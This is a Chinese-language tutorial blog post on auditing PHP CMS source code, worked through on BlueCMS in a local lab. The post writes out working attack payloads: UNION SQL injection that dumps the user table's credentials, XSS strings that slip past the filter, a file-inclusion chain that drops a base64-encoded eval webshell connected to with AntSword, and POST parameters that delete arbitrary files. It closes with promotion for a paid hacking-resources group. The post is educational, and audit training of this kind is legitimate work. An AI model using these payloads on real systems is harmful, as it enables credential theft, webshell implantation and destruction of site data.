文库|从cms入坑代码审计
2022-12-15 20:3:12 Author: 渗透安全团队(查看原文) 阅读量:12 收藏

代码审计基础

概念

代码审计是在一个编程中对源代码旨在发现错误、安全漏洞或违反编程约定的项目。
说人话就是找它这些代码中可能存在问题的地方,然后看它是否真的存在漏洞。

分类

代码审计大致分为三种,白盒、黑盒和灰盒。

白盒测试

其实这种测试的话就是你可以看到源代码,直接从代码中来看哪里可能出现问题,然后进行检测,此时你是知道内部结构的,测试相对黑盒测试会比较容易一点。

黑盒测试

其实黑盒测试的话就是你只知道网页的大致结构,然后对各个功能开始检测,按自己的思路进行测试,比如看到留言界面,测试XSS,看到登录界面,测试SQL注入这种

灰盒测试

灰盒测试是介于白盒测试与黑盒测试之间,自己测试的同时结合代码来看。
一般代码审计的话都是类似于这种灰盒测试的。

如何代码审计

了解CMS结构

每个CMS都拥有数以百计的文件,这个时候我们该如何审,从哪里审呢,这个时候就要关注重要点,以这里的bluecms为例

这里有多个文件及文件夹,该从何入手呢,首先就从文件夹的名字入手,因为程序员在开发时一般不会随意起名,对应的文件夹名一般都是有作用的,例如这里的install就是安装目录,具体分类大致如下

同时它还有
(1)函数集文件,它的定义如下

这类文件通常命名中包含functions或者common等关键字,这些文件里面是一些公共的函数,提供给其他文件统一调用,所以大多数文件都会在文件头部包含到它们,寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件,在头部一般都能找到。

(2)配置文件,它的定义如下

这类文件通常命名里面包括config这个关键字,配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息,从这个文件里面可以了解程序的小部分功能,另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用的双引号包起来,如果是双引号,则很大可能会存在代码执行漏洞。

寻找

大致的分类的话就如下所示

  1. 命令执行 systemshell_execpassthrupopenproc_open

  2. 文件包含 requireincluderequire_onceinclude_once

  3. 变量覆盖 parse_str mb_parse_str

  4. 代码执行 evalassertpreg_replace

  5. 文件操作 file_get_contents file_put_contents move_uploaded_file unlink & delete

这些是大致的关注点,但是如果自己去找的话一般这么多的文件,一个个ctrl+f寻找关键词也是比较慢的,因此一般的话是借用工具的,但工具不是百分百灵验的,我们需要结合自己的判断来看它是否真的存在漏洞,一会介绍一下工具,现在先具体的介绍一下这些关注点。

SQL注入关键词

SQL注入,关注点就是SELECT xxx From xxx WHERE xxx以及UPDATE xxx SET xxx WHERE xxx这些字词,当出现这些的时候,才有可能出现SQL注入。
同时还要关注character_set_connect=’gbk’这种语句,出现它时可能会出现宽字节注入。

例如

  1. $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

  2. $db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);

XSS关键词

XSS常见地是留言板,新闻编辑处这些可以写入内容的地方,同时我们可以结合之前存在的漏洞进行尝试XSS。

任意文件删除关键词

这类在修改头像、修改内容时可能比较常见,然后一般我们就可以去这类文件下看它是否有unlink函数,如果有的话就可能存在任意文件删除漏洞

工具

我们一般自己去找的话有点慢,效率不高,但代码审计有应用可以帮助我们进行代码审计,常见的是Seay源代码审计系统,seay工具链接如下
https://github.com/f1tz/cnseay
我们关注的SQL注入,我们就可以去搜索SELECT


以及UPDATE


对应的任意文件删除漏洞,我们就去搜索unlink函数

这个时候就可以直接定位到利用函数的语句中,相比自己找要快捷很多,同时Seay代码审计具有自动代码审计的功能,用它也是蛮方便的。
下面开始审计

bluecms审计例子

环境配置

这个CMS是比较简单的一个,源码链接如下
https://github.com/source-trace/bluecms
我的环境配置是phpstudy 2018 5.5.38+mysql5.5.53,不要用7+这种高版本的php,因为这个cms是比较老的,它的部分函数与新版本php两者是不相匹配的,然后搭建好后访问bluecms-master/install/,这个时候可能界面是空白,我们需要开启一下允许目录列表

然后去删除bluecms-master\install\compile下的php文件

此时再去重新访问install


按照步骤配置即可,但是到step=5时又变成空白了,不过这个时候已经搭建好了,访问bluecms-master/index.php就可以发现已经配置成功

工具扫描

使用seay工具进行扫描
扫描这个cms后得到很多数据

开始挨个进行分析

SQL注入

ad_js.php


跟进第一条


包含了common.inc.php文件,跟进查看这个文件

if语句中有一个get_magic_quotes_gpc函数,查看这个get_magic_quotes_gpc函数

这么看的话其实就是相当于if语句中始终为1,那也就是说它对GET POST COOKIES REQUEST这些请求的参数加上了deep_addslashes函数,此时跟进这个函数进行查看

可以发现这里其实就是加上了addslashes函数,而这个函数呢是对单引号、双引号、反斜线加上\进行转义的,因此这里其实就是限制了单引号、双引号、反斜线的使用,防止SQL注入

再回到最开始,发现注入参数是ad_id,观察代码可以看出它对ad_id参数先进行了trim()过滤,也就是过滤了参数中的空白字符,例如空格 \t \r \n这些,之后呢进行了SQL注入查询语句,参数两边是没有加单引号的,看起来是可以进行SQL注入的,此时发现getone函数,我们跟进这个函数进行查看


从这里看出它这个函数是将结果取出的,因此这里的话我们总结一下,它就是一个SQL查询语句,我们可以控制where ad_id=xxx这一部分,同时它有这个单引号过滤函数,但是这里变量是没有被单引号包裹的,所以这里这个函数其实是无效的,而且这个结果有回显,会返回结果,我们此时就可以尝试在此界面进行SQL注入
访问bluecms-master/ad_js.php,先看一下字段数

  1. ad_id=-1 order by 7

  2. ad_id=-1 order by 8

当是7的时候无回显,为8的时候报错,说明字段数为7,接下来尝试联合查询

  1. -1 union select 1,2,3,4,5,6,7

看起来是无回显的,但当我们去查看源代码时就会发现是有回显的,不过加了注释


因此这里的这个7就是回显位,接下来开始注入即可

  1. //查库

  2. -1 union select 1,2,3,4,5,6,database()

  3. //查表

  4. -1 union select 1,2,3,4,5,6,(select group_concat(table_name) from infromation_schema.tables where table_schema=database()

当然这里这个查表也可以用十六进制来进行绕过

我这里的数据库名是root,对其进行十六进制加密后为726f6f74,加上0x使得能够被识别为十六进制数,构造payload如下

  1. //查表

  2. ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(table_name) from information_schema.tables where table_schema=0x726f6f74)

  3. //查列(以blue_user为例)

  4. ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(column_name) from information_schema.columns where table_name=0x626c75655f75736572)

  5. //查字段

  6. ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(user_id,0x7e,user_name,0x7e,pwd) from blue_user)

ann.php(失败)

只看这个SELECT语句的话,确实是没有什么过滤的,看起来可以进行SQL注入


但是看最上面的传值处就会发现

这两个在有值时,结果是intval函数包含后的,我们测试一下这个函数

  1. <?php

  2. $a=$_REQUEST['a'];

  3. echo intval($a);

  4. ?>


可以发现字母都被pass了,因此这里的话,就没办法进行SQL注入了
G,下一个。

comment.php(失败)

打开发现这个SELECT语句中id变量是无单引号包裹的

id如果没有被过滤的话,就存在可注入点,看id传值处

id添加了intval函数,因此这个参数是无法进行注入了,此时这个type也同理,限制了值只能是0或1,这个act的话

限制了只能为list或者send,而且它不在查询语句这种里面,在这个文件里没有用到,因此也是可以判定为没戏的,所以这个文件也不行

user.php(失败)

按照seay审计系统的来,发现这个有select语句,但是它的变量都是有单引号包裹的

在最上方看看包含的文件

发现包含有这个common.inc.php文件,而这个文件中有过滤单引号的函数,因此这里不存在SQL注入。

下一处

这里的id变量未被单引号包裹,但它在传值时添加了intval函数,这意味着字符串无法上传,因此这个也是无法成功注入的。PASS

XSS

ad_js.php

这个ad_id变量可控,而且它没有单引号包裹,那不就意味着我们可以随意构造后面的语句,不仅仅是SQL注入,XSS应该也是可以的,我们构造payload如下

  1. 1 <script>alert(/quan9i/)</script>

user.php

  1. elseif ($act == 'do_add_news') {

  2. include_once 'include/upload.class.php';

  3. $image = new upload();

  4. $title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';

  5. $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';

  6. $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';

  7. if(empty($cid)){

  8. showmsg('���ŷ��಻��Ϊ��');

  9. }

  10. $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];

  11. $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';

  12. $content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';

  13. $descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);

  14. if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){

  15. $lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');

这里发现title和color添加了转换HTML实体函数,因此是可以确定是不存在XSS的,下面亦是如此,但我们发现包含content的函数是不同的,它是filter_data函数包裹的,跟进这个函数看看

函数如下

  1. function filter_data($str)

  2. {

  3. $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);

  4. return $str;

  5. }

发现过滤了常用的xss标签,但仍存在其他的xss标签,如

  1. <img src=1 onerror=alert(1)>

  2. <a href=javascript:alert(1)></a>

  3. <svg onload=alert(1)>

  4. <button onclick=alert(1)>

此时这个应该是有可能的,我们看后面他还有没有过滤

可以发现这个SQL语句直接将这个content给写进去了,那这里就应该是存在XSS的,我们尝试构造一下

这里加*的应该是必选项,那我们就只写这几个即可,构造payload如下

点击编辑

成功触发XSS

guest_book.php

在看前台的时候发现有一个留言的界面,点击访问,url跳转到了guest_book.php下,查看源码

可以发现这个里面的内容加上了HTML实体标签,因此内容实现XSS是没戏,而且在开头可以发现包含了一个文件

这个文件里面对单引号进行了转义,这里的话还剩一个变量是page_id,可以发现这个参数是没有被单引号或者双引号包裹的,然后我们看一下包含它的showmsg函数

也并未对这个id进行过滤,说明这里可能有戏,我们先正常上传一个123试试

上传后没有异常,查看界面源代码

找到我们的page_id变量,这里就可以发现是被input标签中value属性包含的,如果我们可以摆脱这个,那么就可以实现xss,那这个时候我们闭合双引号,先写一个”,再闭合标签,用>,而后加上我们的xss语句<scipt>alert(1)</script>即可,此时我们想到开头不是有一个转义双引号的吗,但是我们看一下这里此时的语句

  1. value="\"><script>alert(1)</script>"

这个\正好被当做了value的值,双引号还是起到作用了,此时我们来传值进行尝试


成功XSS

文件包含

user.php

seay审计代码系统扫描中发现一个文件包含漏洞


跟进进行查看


发现这里在上过pay之后直接进行了包含,如果版本号低的话,应该是可以利用%00截断

  1. %00截断

  2. magic_quotes_gpc=offPHP小于5.3.4

还有路径长度截断

  1. 路径长度截断

  2. Linux 需要文件名长于 4096Windows 需要长于 256

但在这里测试%00截断行不通,尝试路径长度截断可行

这里的php文件是本地的,那我们该如何去上传一个文件来getshell呢


发现user下有一个上传头像的,如果这个文件名可控的话,那么就可以getshell了


发现此时给出了文件名


包含一下同时传值进行尝试


成功,还有一种方式,因为这里的话是include一个文件,我们知道include文件的话,就会执行这个文件里的语句,那我们就可以让他包含一个文件,然后这个文件里写入我们的小木马即可,示例如下
这个是1.php

  1. <?php

  2. include("qq.php");

  3. ?>

然后这个是qq.php

  1. <?php @fputs(fopen('shell.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+'));?>

  2. //PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+为<?php @eval($_POST[1])?>

然后我们去访问1.php


此时再看这个文件夹下


成功写入,原理就是这样。此时我们再来看这里,我们传入的方式的话就是上传头像,我们将我们php文件改为jpg而后上传,内容依旧是写入shell.php,其内容为一句话木马

  1. <?php @fputs(fopen('shell.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+'));?>

此时还需要进行一下文件包含,我们去查看一下当前的头像路径

此时去包含它,用刚刚路径长度截断的姿势即可


此时去查看shell.php,如果界面空白则应该是上传成功


蚁剑连接

任意文件删除

这种的话一般是找unlink函数,这个函数是删除文件的,可能存在任意文件删除漏洞,这里的话我门用seay代码审计工具来进行查看


跟进user.php查看

user.php

id参数(失败)

看起来的话是没有什么过滤的,不过前面有个query函数,跟进查看一下


可以发现当它查询这个id在结果中没有的时候,它就会把错误返回,那这个时候就无法继续运行了,而我们如果想实现任意文件删除的话,变量id肯定是要写成文件名的,那这个时候无法往下运行,这个也就无法实现任意文件删除,因此这个实现不了任意文件删除

face_pic3参数
这个有多个参数中涉及了unlink函数,我们挨个进行查看

这里的话可以发现这个face_pic3是在unlink函数下的,跟进这个变量会发现也只在这里提及,因此这里的话不存在过滤,此时如果这个else语句能执行,我们就可以通过控制这个变量来实现任意文件删除,此时看看上面语句

它是在act变量为edit_user_info下的,因此我们令act为edit_user_info即可,而后发现这些变量不传不会跳出,我们就不填这些变量即可,然后来到这个if-else语句,为了让else语句执行,所以if的条件是不能满足的,if里的条件是face_pic1不为空,我们这里让它为空就可以执行else语句,因此按理说直接post传face_pic3就可以实现任意文件删除,尝试
我们这里本地是有shell.jpg的,我们删除它来试试

发包

成功实现。

lit_pic参数

发现这个lit_pic变量


然后跟进变量的话发现它是只出现在这里的,这意味着它这个变量是没有其他过滤的,这里我们也不需要输入单引号或者双引号,直接让lit_pic等于我们想删除的文件夹名即可实现任意文件删除,但是要实现这个,肯定需要满足上面的条件,这样才能往下进行,因此我们从上面的语句开始看

只有这个
首先满足这个,所以我们就需要写title变量

姓名和电话,这意味着link_man和link_phone也是需要填写的,还有开始的变量lit_pic,这里post传入的也就是四个变量,这个时候先看看我们本地的文件

可以发现是有shell.php的,我们尝试删除它,即让lit_pic的值为它

此时查看本地

成功实现了任意文件删除

总结

常见关注点

SQL注入:

  1. select insert update mysql_query mysqli

文件上传:

  1. $FILEStype="file",上传,move_upload_file( )等

XSS跨站:

  1. printprint_rechosprintfdievar_dumpvar_export

文件包含:

  1. includeinclude_oncerequirerequire_once

代码执行:

  1. evalassertpregreplacecalluserfunccall_user_funcarray

命令执行:

  1. systemexecshell_exec``passthrupcntl_execpopenproc_open

变量覆盖:

  1. extract()parse_str() importrequestvariables() $$

反序列化:

  1. serialize() unserialize() _construct _destruct

不同CMS异同

大部分没MVC框架的CMS,他们的结构是比较相似的,我们可以看一下这两个CMS的结构

可以发现两者的结构是比较相像的,当我们掌握文件夹的功能时,就能够使得我们的代码审计轻松许多,因此通过文件夹掌握其功能含义是我们首先需要做到的

区别的话就是有的程序员会把css单独作为文件夹(例如这里的xhcms),有的会把js文件单独作为文件夹(这里的bluecms),不过这些都是无关紧要的,大致知道文件夹是什么含义,存放的文件是什么就可以


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247495008&idx=2&sn=2eedbe0b4de84aa904a339d0f3641c46&chksm=c17610cff60199d959ed607137c7e78d77f59814edd378871c80e96fd467786e2547825e1030#rd
如有侵权请联系:admin#unsafe.sh